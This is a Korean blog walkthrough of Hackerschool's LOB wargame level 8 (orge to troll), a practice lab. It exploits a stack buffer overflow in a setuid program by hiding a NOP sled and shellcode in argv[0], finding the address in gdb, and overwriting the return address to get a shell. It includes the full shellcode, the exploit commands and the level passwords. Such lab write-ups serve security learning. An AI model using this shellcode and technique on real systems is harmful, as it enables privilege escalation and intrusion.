해커스쿨 LOB LEVEL8 [orge -> troll] 풀이
M4ndU
해커스쿨 LOB [orge -> troll] 풀이입니다.
ID | orge
PW | timewalker
으로 로그인합니다.
\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.
$ bash2
그리고
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat [문제이름].c
를 이용해 소스코드를 확인합시다.
login: orge
Password:
[orge@localhost orge]$ bash2
[orge@localhost orge]$ ls -l
total 20
-rwsr-sr-x 1 troll troll 12693 Mar 1 2010 troll
-rw-r--r-- 1 root root 772 Mar 29 2010 troll.c
[orge@localhost orge]$ cat troll.c
/*
The Lord of the BOF : The Fellowship of the BOF
- troll
- check argc + argv hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
// one more!
memset(argv[1], 0, strlen(argv[1]));
}
// here is changed
if(argc != 2){
printf("argc must be two!\n");
exit(0);
}
이번에는 argv[0] 과 argv[1]밖에 사용할 수 없는데,
// one more!
memset(argv[1], 0, strlen(argv[1]));
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
[orge@localhost orge]$ rename troll `python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` troll
그다음 tmp폴더에 복사해서 core dump를 일으키고 분석을 합니다.
[orge@localhost orge]$ mkdir tmp
[orge@localhost orge]$ cp `python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` tmp
[orge@localhost orge]$ cd tmp
[orge@localhost tmp]$ ./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\xff\xff\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD?
Segmentation fault (core dumped)
[orge@localhost tmp]$ gdb -c core -q
Core was generated by `./릱릱릱릱릱릱릱릱릱릱?12l?楕凹2핽i00tii0cjo듾QT듼슧
? '.
Program terminated with signal 11, Segmentation fault.
#0 0xbfffffff in ?? ()
(gdb) x/1000x $esp
0xbffffa40: 0x00000000 0xbffffa84 0xbffffa90 0x40013868
0xbffffa50: 0x00000002 0x08048450 0x00000000 0x08048471
(생략)
0xbffffb70: 0x00000000 0x00000000 0x36383669 0x902f2e00
0xbffffb80: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffb90: 0xeb909090 0xc9315e11 0x6c8032b1 0x8001ff0e
0xbffffba0: 0xf67501e9 0xeae805eb 0x32ffffff 0x306951c1
0xbffffbb0: 0x69697430 0x6f6a6330 0x5451e48a 0xb19ae28a
0xbffffbc0: 0x0081ce0c 0x00000000 0x00000000 0x00000000
0xbffffb80을 리턴주소로 하겠습니다.
[orge@localhost orge]$ ./`python -c 'print "\x90"*20+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+" "+"D"*44+"\x80\xfb\xff\xbf"'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD??
bash$ my-pass
euid = 508
aspirin
'System Hacking > LOB Redhat' 카테고리의 다른 글
| 해커스쿨 LOB LEVEL10 [vampire -> skeleton] 풀이 (4) | 2018.02.11 |
|---|---|
| 해커스쿨 LOB LEVEL9 [troll -> vampire] 풀이 (0) | 2018.02.11 |
| 해커스쿨 LOB LEVEL7 [darkelf-> orge] 풀이 (3) | 2018.02.11 |
| 해커스쿨 LOB LEVEL6 [wolfman-> darkelf] 풀이 (1) | 2018.02.11 |
| 해커스쿨 LOB LEVEL5 [orc -> wolfman] 풀이 (0) | 2018.02.11 |